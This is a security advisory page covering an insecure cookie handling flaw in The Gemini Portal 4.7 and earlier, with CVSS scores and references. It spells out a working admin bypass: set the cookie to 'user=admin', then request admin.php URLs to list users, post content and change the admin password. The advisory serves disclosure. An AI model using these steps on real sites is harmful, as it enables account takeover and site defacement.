The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability

2008.09.27
Credit: Pepelux
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Program: The Gemini Portal Version: <= 4.7 File affected: admin/* Download: http://www.arzdev.com/downloads/1/Gemini Found by Pepelux <pepelux[at]enye-sec.org> eNYe-Sec - www.enye-sec.org <em class="quotelev2">>> Program description (by the author website) <<</em> The Gemini Portal 4 is the most scalable, dynamic, and powerful content management system there is. It is perfect for large business network services, to the simple personal web site for use with PHP and MySQL.', 'The Gemini Portal is a dynamic content management system. It is ideal for any size community, allowing users, moderators, limited admins, and global admins log in. Many of the built in pages use the dynamic database file system (ArzFS) to manipulate files and folders. <em class="quotelev2">>> Bug <<</em> You can access to the admin panel altering the cookie and adding a parameter in the navigation bar. <em class="quotelev2">>> Exploit <<</em> Note: POST is not checked and you can enter all by GET. Also you can create a simple perl script to send GET and POST packages. First step: javascript:document.cookie = "user=admin" Second step: navigate by the admin panel adding the parameter '&name=users' in the navigation bar. Examples: to view the main admin panel: http://site/admin.php?page=main&name=users to list all forums: http://site/admin.php?page=forums&name=users to post a new forum: http://site/admin.php?page=forums&name=users&page=forums&op=newf&fview=Everyone&fpost=Everyone&forumname=WHAT_YOU_WANT&descrip=WHAT_YOU_WANT to list articles: http://site/admin.php?page=articles&name=users to create a new article: http://site/admin.php?page=articles&name=users&op=newd&dtitle=WHAT_YOU_WANT&ppcontent=WHAT_YOU_WANT&dfolder=0&category=1&autor=admin to list all users: http://site/admin.php?page=users&name=users to edit the admin profile (you can change the admin password) http://site/admin.php?page=users&op=edi&uid=2&name=users

References:

http://xforce.iss.net/xforce/xfdb/45439
http://www.securityfocus.com/bid/31429
http://www.securityfocus.com/archive/1/archive/1/496761/100/0/threaded
http://www.milw0rm.com/exploits/6584
http://secunia.com/advisories/32057
http://osvdb.org/48639


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top